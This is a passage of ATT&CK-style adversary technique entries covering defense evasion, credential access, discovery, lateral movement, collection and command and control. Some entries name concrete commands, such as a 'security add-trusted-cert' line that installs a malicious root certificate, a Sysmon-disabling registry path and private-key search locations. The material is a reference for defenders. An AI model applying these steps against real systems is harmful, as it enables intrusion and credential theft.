Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)


Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)


In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)


T1562.001
Impair Defenses: Disable or Modify Tools

Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)


Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)


Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlWMIAutologgerEventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)


On network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)


In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.


Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)


Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)


T1562.009
Impair Defenses: Safe Mode Boot

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)


Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)


Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. Modify Registry). Malicious Component Object Model (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)


T1574.007
Hijack Execution Flow: Path Interception by PATH Environment Variable

Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.


Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.


For example, on Windows if an adversary places a malicious program named “net.exe” in `C:example path`, which by default precedes `C:Windowssystem32net.exe` in the PATH environment variable, when “net” is executed from the command-line the `C:example path` will be called instead of the system’s legitimate executable at `C:Windowssystem32net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a Command and Scripting Interpreter.(Citation: ExpressVPN PATH env Windows 2021)


Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, Unix Shell Configuration Modification, or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)


TA0006
Credential Access

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)


Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:


* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

* Reading raw keystroke data from the hardware buffer.

* Windows Registry modifications.

* Custom drivers.

* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)


T1056.001
Input Capture: Keylogging

Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)


Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:


* Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data.

* Reading raw keystroke data from the hardware buffer.

* Windows Registry modifications.

* Custom drivers.

* Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks)


T1539
Steal Web Session Cookie

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.


Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)


There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)


After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.


T1552.001
Unsecured Credentials: Credentials In Files

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.


It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)


In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops – Cloud Credential Storage)


T1552.004
Unsecured Credentials: Private Keys

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.


Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)


When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)


On network devices, private keys may be exported via Network Device CLI commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)


Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.


TA0007
Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.


Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1007
System Service Discovery

Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as sc query, tasklist /svc, systemctl --type=service, and net start.


Adversaries may use the information from System Service Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1012
Query Registry

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.


The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


T1018
Remote System Discovery

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net.


Adversaries may also analyze data from local host files (ex: C:WindowsSystem32Driversetchosts or /etc/hosts) or other passive means (such as local Arp cache entries) in order to discover the presence of remote systems in an environment.


Adversaries may also target discovery of network infrastructure as well as leverage Network Device CLI commands on network devices to gather detailed information about systems within a network (e.g. show cdp neighbors, show arp).(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021)


T1046
Network Service Discovery

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)


Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.


Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)


T1049
System Network Connections Discovery

Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.


An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary’s goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.


Utilities and commands that acquire this information include netstat, “net use,” and “net session” with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to “net session”. Additionally, built-in features native to network devices and Network Device CLI may be used (e.g. show ip sockets, show tcp brief).(Citation: US-CERT-TA18-106A)


T1057
Process Discovery

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.


On network devices, Network Device CLI commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)


T1069.001
Permission Groups Discovery: Local Groups

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.


Commands such as net localgroup of the Net utility, dscl . -list /Groups on macOS, and groups on Linux can list local groups.


T1069.002
Permission Groups Discovery: Domain Groups

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.


Commands such as net group /domain of the Net utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain-level groups.


T1082
System Information Discovery

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)


Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)


T1083
File and Directory Discovery

Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.


Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Native API. Adversaries may also leverage a Network Device CLI on network devices to gather file and directory information (e.g. dir, show flash, and/or nvram).(Citation: US-CERT-TA18-106A)


T1087.001
Account Discovery: Local Account

Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.


Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.


T1087.002
Account Discovery: Domain Account

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.


Commands such as net user /domain and net group /domain of the Net utility, dscacheutil -q groupon macOS, and ldapsearch on Linux can list domain users and groups. PowerShell cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.


T1497.002
Virtualization/Sandbox Evasion: User Activity Based Checks

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from Virtualization/Sandbox Evasion during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)


Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)


T1497.003
Virtualization/Sandbox Evasion: Time Based Evasion

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.


Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: Scheduled Task/Job). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled Multi-Stage Channels to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)


Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as Pings, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to Native API functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)


Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)


T1614.001
System Location Discovery: System Language Discovery

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)


There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as Query Registry and calls to Native API functions.(Citation: CrowdStrike Ryuk January 2019)


For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlNlsLanguage or parsing the outputs of Windows API functions GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelganging May 2018)


On a macOS or Linux system, adversaries may query locale to retrieve the value of the $LANG environment variable.


TA0008
Lateral Movement

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.


The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)


Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)


Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)


T1021.003
Remote Services: Distributed Component Object Model

Adversaries may use Valid Accounts to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.


The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)


Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)


Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with Windows Management Instrumentation. (Citation: MSDN WMI)


T1091
Replication Through Removable Media

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media’s firmware itself.


Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).


TA0009
Collection

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.


Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)


T1074.001
Data Staged: Local Data Staging

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.


Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)


T1113
Screen Capture

Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware)


T1185
Browser Session Hijacking

Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)


A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.


Another example involves pivoting browser traffic from the adversary’s browser through the user’s browser by setting up a proxy which will redirect web traffic. This does not alter the user’s traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)


TA0011
Command and Control

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.


Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.


T1090
Proxy

Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.


Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.


T1095
Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).


ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.


T1102
Web Service

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.


Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).


T1568
Dynamic Resolution

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware’s communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.


Adversaries may use dynamic resolution for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)


T1568.002
Dynamic Resolution: Domain Generation Algorithms

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)


DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)


Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)


T1571
Non-Standard Port

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.


Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti)


TA0040
Impact

Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary’s overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)


Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)


T1489
Service Stop

